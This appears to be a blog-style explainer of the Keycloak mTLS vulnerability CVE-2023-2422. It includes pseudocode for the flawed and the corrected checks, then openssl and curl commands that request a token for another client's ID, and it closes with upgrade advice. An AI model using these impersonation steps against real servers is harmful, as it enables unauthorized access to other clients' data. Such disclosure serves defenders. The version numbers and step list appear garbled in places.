CVE-2023-2422 - How Keycloak’s mTLS Flaw Lets Attackers Impersonate Any Client

Keycloak is an open source identity and access management tool used widely to secure modern applications. In April 2023, a serious security vulnerability was discovered (CVE-2023-2422) that could let attackers access data as another client—even if they only had one valid certificate! 😨

Let’s break this down in simple terms, with code snippets and clear examples, so you can understand the risk, see how the attack works, and protect your systems.

What is the Vulnerability?

CVE-2023-2422 is a flaw in Keycloak’s mTLS authentication for OAuth/OpenID clients. When you use mTLS, each client (like a web app or microservice) is supposed to use its unique certificate to identify itself to Keycloak. But due to this bug, Keycloak doesn’t properly check the client certificate chain.

What’s the danger?
A client with any valid certificate can pretend to be another client—gaining access to data and permissions they should not have.

The Technical Details

Vulnerable Keycloak versions:
17.. through 21..2 (see official advisory)

Setup: mTLS is enabled, so clients must present X.509 certificates.

2. Expected: Keycloak should verify the certificate chain and ensure the certificate matches the client ID.
3. Actual: Keycloak only checks if the certificate is trusted, NOT if it’s for the specific client.

Let’s see the flawed check

// Simplified logic
if (isCertificateTrusted(x509Cert)) {
    // Flawed: doesn't check if cert matches client_id
    authenticateClient();
}

What SHOULD happen

if (
   isCertificateTrusted(x509Cert) &&
   certSubjectMatchesRequestedClientID(x509Cert, clientId)
) {
   authenticateClient();
}

Because of this, someone with their own certificate chain can request a token for *any* client, as long as their certificate chain passes trust verification.

Access to a valid, trusted certificate—issued by a CA recognized by Keycloak.

- The ability to craft OAuth/OpenID requests (e.g., via curl, Postman, or custom code).

Register a client in Keycloak, and issue a valid certificate

# Assume your client_id is 'attacker-app'
openssl req -newkey rsa:2048 -nodes -keyout attacker.key -out attacker.csr
# Issue cert using your trusted CA
openssl x509 -req -in attacker.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out attacker.crt

2. Send a token request for someone else’s client ID

CLIENT_ID="victim-app"

curl -v --cert attacker.crt --key attacker.key \
  --request POST \
  --data "grant_type=client_credentials&client_id=$CLIENT_ID" \
  https://keycloak.example.com/realms/myrealm/protocol/openid-connect/token

Result:
Keycloak gives you an access token for victim-app if the server is vulnerable!

Potential to escalate privileges, depending on client permissions

This vulnerability is especially dangerous in SaaS environments or any multi-tenant setup.

Where to Learn More

- Keycloak Security Advisory GHSA-jc4j-98h5-xmxw
- Red Hat Security Advisory
- Full Keycloak mTLS docs

Final Thoughts

CVE-2023-2422 highlights how easily a subtle certificate verification bug can break security. If you use Keycloak with mTLS for client authentication, upgrade immediately! Don’t let attackers access data just because they have *any* valid certificate.

If you want more hands-on advice, follow Keycloak’s update guide or check the links above 🛡️

Timeline

Published on: 10/04/2023 11:15:10 UTC
Last modified on: 11/07/2023 04:12:40 UTC